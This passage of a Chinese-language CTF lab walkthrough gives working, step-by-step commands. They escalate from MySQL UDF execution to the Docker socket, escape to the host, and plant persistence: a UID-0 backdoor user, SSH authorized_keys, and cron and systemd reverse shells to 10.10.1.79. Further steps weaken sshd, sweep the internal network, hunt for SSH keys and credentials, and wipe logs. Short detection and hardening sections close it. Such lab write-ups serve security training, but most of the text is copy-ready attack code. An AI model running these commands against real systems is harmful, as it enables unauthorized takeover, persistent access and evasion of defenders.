说明:启动成功时返回空。容器启动后,宿主机根目录被挂载到容器的 /host 目录。
7.1.2 收集宿主机信息
注意:由于我们是通过 MySQL UDF 执行命令,命令实际上在 MySQL 容器中运行。MySQL 容器本身没有 /host 目录,所以需要通过 Docker API 创建一次性容器来收集信息。
方法:创建一次性容器执行命令并获取输出
bash复制# 收集系统信息 - 创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/etc/os-release\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/osinfo_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/osinfo_payload.json http://localhost/containers/create\" > /tmp/osinfo_create.txt 2>&1');" mysql
# 读取容器 ID
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/osinfo_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/osinfo_create.txt');" mysql
返回结果:
json复制{"Id":"...容器ID...","Warnings":[]}
启动容器并获取输出:
bash复制# 启动容器
CONTAINER_ID='上一步返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/osinfo_start.txt 2>&1');" mysql
sleep 2
# 获取容器日志(系统信息)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/os_info.txt 2>&1');" mysql
# 读取系统信息
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/os_info.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/os_info.txt');" mysql
同理,收集其他信息:
bash复制# 收集内核版本
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"uname\",\"-a\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/kernel_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/kernel_payload.json http://localhost/containers/create\" > /tmp/kernel_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/kernel_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/kernel_create.txt');" mysql
# 获取容器 ID 后启动并获取日志
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/kernel_start.txt 2>&1');" mysql
sleep 2
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/kernel.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/kernel.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/kernel.txt');" mysql
# 读取网络配置
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/hosts.txt');" mysql
收集的关键信息:
| 信息类型 | 用途 |
|---|---|
| 操作系统版本 | 确定可用的提权漏洞 |
| 内核版本 | 检查内核提权漏洞(如 DirtyPipe、DirtyCow) |
| 用户列表 | 识别高价值目标账户 |
| SSH 配置 | 确定 SSH 后门植入方式 |
| 定时任务 | 寻找持久化机会 |
| 已安装服务 | 识别可利用的服务 |
7.2 宿主机提权技术
7.2.1 检查 sudo 配置
注意:需要通过 Docker API 创建一次性容器来读取宿主机文件。
bash复制# 创建容器读取 sudoers 文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/etc/sudoers\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/sudoers_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/sudoers_payload.json http://localhost/containers/create\" > /tmp/sudoers_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/sudoers_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/sudoers_create.txt');" mysql
# 获取容器 ID 后启动并获取日志
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/sudoers_start.txt 2>&1');" mysql
sleep 2
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/sudoers.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/sudoers.txt');" mysql
# 读取 sudo 配置
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/sudoers.txt');" mysql
常见的 sudo 提权配置错误:
| 配置 | 风险 |
|---|---|
NOPASSWD: ALL | 无需密码执行任意命令 |
(ALL) /usr/bin/vim | 通过 vim 逃逸获取 shell |
(ALL) /usr/bin/find | 通过 find -exec 执行命令 |
env_keep+=LD_PRELOAD | 通过 LD_PRELOAD 注入恶意库 |
7.2.2 检查内核漏洞
bash复制# 获取内核版本
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/kernel.txt');" mysql
常见的 Linux 内核提权漏洞:
| CVE | 名称 | 影响版本 | 利用难度 |
|---|---|---|---|
| CVE-2022-0847 | DirtyPipe | Linux 5.8+ | 低 |
| CVE-2021-4034 | PwnKit | Polkit < 0.120 | 低 |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 | 中 |
| CVE-2016-5195 | DirtyCow | Linux 2.6.22-4.8 | 中 |
7.2.3 利用 Docker 特权访问
由于我们已经可以通过 Docker Socket 创建特权容器,实际上已经拥有了宿主机的 root 权限。可以通过创建一次性容器来修改宿主机文件:
bash复制# 通过 Docker API 创建容器,添加后门用户到宿主机的 /etc/passwd
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"sh\",\"-c\",\"echo backdoor:x:0:0::/root:/bin/bash >> /host/etc/passwd\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/backdoor_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/backdoor_payload.json http://localhost/containers/create\" > /tmp/backdoor_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/backdoor_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/backdoor_create.txt');" mysql
# 启动容器执行命令
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/backdoor_start.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/backdoor_start.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/backdoor_start.txt');" mysql
说明:启动成功时返回空。后门用户 backdoor 已添加到宿主机的 /etc/passwd,可以使用 su backdoor 切换到该用户(无需密码)。
7.3 APT 持久化技术
在真实的 APT 攻击中,攻击者会部署多种持久化机制,确保即使部分后门被发现,仍能保持对目标的访问。
重要提示:本节中所有涉及
/host/路径的命令都需要通过 Docker API 创建一次性容器来执行。具体方法参考 7.1.2 节和 7.2.3 节的示例。以下命令中的Cmd字段展示了需要在容器中执行的命令。
7.3.1 SSH 密钥后门
最隐蔽的持久化方式之一:将攻击者的 SSH 公钥添加到目标用户的 authorized_keys 文件中。
步骤 1:在 Kali 上生成 SSH 密钥对
bash复制# 生成 ED25519 密钥对(更安全、更短)
ssh-keygen -t ed25519 -f /tmp/backdoor_key -N "" -q
# 查看生成的密钥
ls -la /tmp/backdoor_key*
# -rw------- 1 kali kali 411 Jan 22 15:10 /tmp/backdoor_key # 私钥
# -rw-r--r-- 1 kali kali 96 Jan 22 15:10 /tmp/backdoor_key.pub # 公钥
# 读取公钥内容
cat /tmp/backdoor_key.pub
# 输出示例:ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... kali@kali
步骤 2:构造 JSON Payload 并写入目标
技巧:使用 shell 变量和 heredoc 语法可以避免手动转义公钥中的特殊字符。
bash复制# 读取公钥到变量
PUBKEY=$(cat /tmp/backdoor_key.pub)
# 使用 heredoc 构造 SQL 语句(自动处理变量替换)
cat > ssh_payload.sql <<EOF
SELECT '{"Image":"mysql:5.7","Cmd":["/bin/sh","-c","mkdir -p /host/root/.ssh && echo $PUBKEY >> /host/root/.ssh/authorized_keys && chmod 600 /host/root/.ssh/authorized_keys && chmod 700 /host/root/.ssh"],"HostConfig":{"Binds":["/:/host"]}}' INTO OUTFILE '/tmp/ssh_backdoor.json';
EOF
# 执行 SQL 写入 JSON payload
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N < ssh_payload.sql
步骤 3:创建并启动容器
bash复制# 创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/ssh_backdoor.json http://localhost/containers/create?name=ssh_backdoor\" > /tmp/ssh_create.txt 2>&1');" mysql
# 读取创建结果,获取容器 ID
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/ssh_create.txt'); SELECT LOAD_FILE('/tmp/ssh_create.txt');" mysql
返回结果:
json复制{"Id":"7f2706555bac43509eada00193eecb497f1a236dce5c18fae406a222cdc97a4b","Warnings":[]}
步骤 4:启动容器执行命令
bash复制# 使用上一步返回的容器 ID
CONTAINER_ID='7f2706555bac43509eada00193eecb497f1a236dce5c18fae406a222cdc97a4b'
# 启动容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/ssh_start.txt 2>&1');" mysql
说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,文件内容为空表示启动成功。
步骤 5:验证 SSH 后门
bash复制# 使用私钥 SSH 登录宿主机(无需密码)
ssh -o StrictHostKeyChecking=no -i /tmp/backdoor_key root@10.10.1.187
# 验证成功后可以看到:
# root@localhost:~# whoami
# root
# root@localhost:~# cat /flag
# flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3}
SSH 后门的优势:
- 流量加密,难以被 IDS 检测
- 使用标准端口(22),不易引起怀疑
- 无需修改系统二进制文件
- 私钥保存在攻击机,目标机只有公钥
故障排除:如果遇到容器名冲突(
The container name is already in use),需要先清理已停止的容器:bash复制# 删除所有已停止的容器 mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \ -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/prune\" > /tmp/prune.txt 2>&1');" mysql # 查看清理结果 mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \ -e "SELECT sys_exec('chmod 644 /tmp/prune.txt'); SELECT LOAD_FILE('/tmp/prune.txt');" mysql
7.3.2 Cron 定时任务后门
利用 cron 定时任务实现持久化反弹 shell。
注意:由于我们已经通过 SSH 密钥后门获得了宿主机的直接访问权限,可以直接通过 SSH 操作宿主机,无需再通过 Docker API。
方法一:通过 SSH 后门直接操作(推荐)
bash复制# 先通过 SSH 后门登录宿主机
ssh -i /tmp/backdoor_key root@10.10.1.187
# 添加每分钟执行的反弹 shell cron 任务
echo '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.1.79/4444 0>&1"' >> /etc/crontab
# 验证 cron 任务已添加
tail -3 /etc/crontab
方法二:通过 Docker API 操作
bash复制# 使用 MySQL 直接写入 JSON payload
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/sh\",\"-c\",\"echo \\\"* * * * * root /bin/bash -c /bin/bash -i >& /dev/tcp/10.10.1.79/4444 0>&1\\\" >> /host/etc/crontab\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/cron_backdoor.json';" mysql
# 创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/cron_backdoor.json http://localhost/containers/create?name=cron_backdoor\" > /tmp/cron_create.txt 2>&1');" mysql
# 设置文件权限并读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/cron_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/cron_create.txt');" mysql
返回结果:
json复制{"Id":"...容器ID...","Warnings":[]}
启动容器执行命令:
bash复制# 使用返回的容器 ID 启动容器
CONTAINER_ID='上一步返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/cron_start.txt 2>&1');" mysql
# 检查启动结果(可选,成功时返回空)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/cron_start.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/cron_start.txt');" mysql
说明:Docker API 的 /containers/{id}/start 成功时返回空,文件内容为空表示启动成功。
在 Kali 上监听并验证:
bash复制# 开启监听(等待最多 1 分钟即可收到连接)
nc -lvnp 4444
# 成功连接后会看到:
# listening on [any] 4444 ...
# connect to [10.10.1.79] from (UNKNOWN) [10.10.1.187] 43914
# bash: 无法设定终端进程组(28715): 对设备不适当的 ioctl 操作
# bash: 此 shell 中无任务控制
# [root@localhost ~]#
清理测试后门(验证完成后执行):
bash复制# 通过 SSH 登录宿主机删除 cron 后门
ssh -i /tmp/backdoor_key root@10.10.1.187 \
"sed -i '/\\/dev\\/tcp\\/10.10.1.79\\/4444/d' /etc/crontab"
7.3.3 Systemd 服务后门
创建一个伪装成合法服务的 systemd 后门:
bash复制# 创建恶意服务文件
SERVICE_FILE='[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.1.79/4445 0>&1"
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target'
# 写入服务文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"$SERVICE_FILE\\\" > /host/etc/systemd/system/system-update.service\" 2>&1');" mysql
# 启用服务(需要在宿主机上执行 systemctl daemon-reload)
Systemd 后门的优势:
- 开机自启动
- 自动重启(即使被杀死)
- 伪装成系统服务,不易被发现
7.3.4 修改 SSHD 配置
允许 root 用户通过 SSH 登录,并启用密码认证:
bash复制# 修改 sshd_config
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"sed -i \\\"s/PermitRootLogin.*/PermitRootLogin yes/\\\" /host/etc/ssh/sshd_config\" 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"sed -i \\\"s/PasswordAuthentication.*/PasswordAuthentication yes/\\\" /host/etc/ssh/sshd_config\" 2>&1');" mysql
7.3.5 创建隐藏用户
创建一个 UID 为 0 的隐藏用户(与 root 具有相同权限):
bash复制# 生成密码哈希(密码为 "P@ssw0rd")
# 使用 openssl: openssl passwd -6 -salt xyz P@ssw0rd
PASSWD_HASH='$6$xyz$...' # 实际哈希值
# 添加隐藏用户到 /etc/passwd 和 /etc/shadow
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"sysadmin:x:0:0:System Administrator:/root:/bin/bash\\\" >> /host/etc/passwd\" 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"sysadmin:$PASSWD_HASH:19000:0:99999:7::::\\\" >> /host/etc/shadow\" 2>&1');" mysql
7.4 横向移动准备
重要提示:以下命令中涉及
/host/路径的操作,都需要通过 Docker API 创建一次性容器来执行,因为 MySQL 容器本身没有/host目录。具体方法参考 7.1.2 节的示例。
7.4.1 收集网络信息
扫描内网存活主机(此命令在 MySQL 容器内执行,不需要 /host):
bash复制mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"for i in \$(seq 1 254); do ping -c 1 -W 1 10.10.1.\$i 2>/dev/null | grep -q 64 && echo 10.10.1.\$i; done > /tmp/alive_hosts.txt\" 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/alive_hosts.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/alive_hosts.txt');" mysql
查看 ARP 缓存(需要通过 Docker API 创建容器):
bash复制# 创建容器读取宿主机 ARP 缓存
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/proc/net/arp\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/arp_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/arp_payload.json http://localhost/containers/create\" > /tmp/arp_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/arp_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/arp_create.txt');" mysql
# 启动容器并获取日志
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/arp_start.txt 2>&1');" mysql
sleep 2
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/arp.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/arp.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/arp.txt');" mysql
7.4.2 收集凭据
注意:以下所有涉及
/host/路径的命令都需要通过 Docker API 创建一次性容器执行。这里以收集 SSH 私钥为例展示完整步骤:
bash复制# 创建容器查找 SSH 私钥
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host/home\",\"-name\",\"id_rsa\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/sshkeys_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/sshkeys_payload.json http://localhost/containers/create\" > /tmp/sshkeys_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/sshkeys_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/sshkeys_create.txt');" mysql
# 启动容器并获取日志
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/sshkeys_start.txt 2>&1');" mysql
sleep 2
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/ssh_keys.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/ssh_keys.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/ssh_keys.txt');" mysql
其他凭据收集(使用相同的 Docker API 方法):
- bash 历史记录:
Cmd: ["cat", "/host/root/.bash_history"] - 配置文件:
Cmd: ["sh", "-c", "find /host -name '*.conf' -exec grep -l password {} \\;"]
7.5 清理痕迹
在完成攻击后,APT 攻击者通常会清理日志和痕迹。
注意:以下命令需要通过 Docker API 创建一次性容器执行,因为涉及
/host/路径。方法与 7.1.2 节相同。
清理命令示例(需要创建容器执行):
- 清理 bash 历史:
Cmd: ["sh", "-c", "echo '' > /host/root/.bash_history"] - 清理认证日志:
Cmd: ["sh", "-c", "echo '' > /host/var/log/auth.log"] - 清理 syslog:
Cmd: ["sh", "-c", "echo '' > /host/var/log/syslog"]
注意:在合法的渗透测试中,清理痕迹通常不是必需的,但了解攻击者的行为有助于防御。
7.6 持久化技术对比
| 技术 | 隐蔽性 | 可靠性 | 检测难度 | 推荐场景 |
|---|---|---|---|---|
| SSH 密钥后门 | 5/5 | 5/5 | 高 | 长期潜伏 |
| Cron 定时任务 | 3/5 | 4/5 | 中 | 定期回连 |
| Systemd 服务 | 4/5 | 5/5 | 中高 | 持续访问 |
| 隐藏用户 | 2/5 | 5/5 | 低 | 备用入口 |
| 修改 SSHD | 3/5 | 4/5 | 中 | 快速部署 |
7.7 防御建议
7.7.1 检测持久化后门
bash复制# 检查异常 SSH 密钥
find /home -name "authorized_keys" -exec cat {} \;
cat /root/.ssh/authorized_keys
# 检查异常 cron 任务
cat /etc/crontab
ls -la /etc/cron.d/
for user in $(cut -f1 -d: /etc/passwd); do crontab -l -u $user 2>/dev/null; done
# 检查异常 systemd 服务
systemctl list-unit-files --type=service | grep enabled
ls -la /etc/systemd/system/
# 检查 UID 为 0 的用户
awk -F: '$3 == 0 {print $1}' /etc/passwd
# 检查异常网络连接
netstat -antup | grep ESTABLISHED
ss -antup | grep ESTABLISHED
7.7.2 加固措施
- SSH 加固bash复制
# 禁用 root 登录 PermitRootLogin no # 禁用密码认证 PasswordAuthentication no # 限制 SSH 用户 AllowUsers admin - 文件完整性监控bash复制
# 使用 AIDE 监控关键文件 aide --init aide --check - 日志集中管理
- 将日志发送到远程 syslog 服务器
- 使用 SIEM 系统进行实时监控
- 定期安全审计
- 使用 Lynis 进行系统安全审计
- 定期检查用户账户和权限
第八章 攻击链总结
8.1 完整攻击路径
8.2 Flag 汇总
| Flag | 值 | 位置 | 获取方式 |
|---|---|---|---|
| flag1 | flag1{75813557-25c4-456c-8a44-6a4d4c62c859} | 数据库 | SQL 注入提取 |
| flag2 | flag2{e25ce9d8-dc48-426c-92db-4d07899b4f75} | MySQL 容器 /flag | SUID nohup 提权 |
| flag3 | flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3} | 宿主机 /flag | Docker 逃逸 |
8.3 涉及的安全漏洞
- 源码泄露:vim 交换文件未清理
- SQL 注入:用户输入未经充分过滤直接拼接 SQL
- 文件上传漏洞:允许上传 .htaccess 文件
- 数据库凭据泄露:环境变量中存储明文密码
- UDF 提权:MySQL root 权限 + secure_file_priv 未限制
- SUID 配置不当:nohup 不应该有 SUID 权限
- Docker 配置不当:容器内可访问 Docker socket
第九章 防御建议总结
9.1 开发安全
- 使用参数化查询防止 SQL 注入
- 实施严格的文件上传白名单验证
- 不要在代码或环境变量中存储明文密码
- 定期清理开发过程中产生的临时文件
9.2 系统安全
- 最小化 SUID 程序数量
- 定期审计系统权限配置
- 使用 Linux capabilities 替代 SUID
- 配置 MySQL secure_file_priv 限制文件操作
9.3 容器安全
- 不要将 Docker socket 挂载到容器中
- 使用非 root 用户运行容器
- 移除容器中不必要的工具和权限
- 配置适当的安全策略(AppArmor/SELinux)
附录:常用命令速查
bash复制# Nmap 扫描
nmap -sT -sV -p- TARGET_IP
# SQL 注入测试
curl -s -X POST "http://TARGET/login" -d 'username=admin\&password= or 1=1-- '
# 文件上传
curl -s -X POST "http://TARGET/upload.php" -F "file=@/path/to/file"
# MySQL UDF 提权
mysql -h HOST -u root -pPASS -e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';"
# 查找 SUID 文件
find / -perm -u=s -type f 2>/dev/null
# Docker API 调用
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json


Comments | NOTHING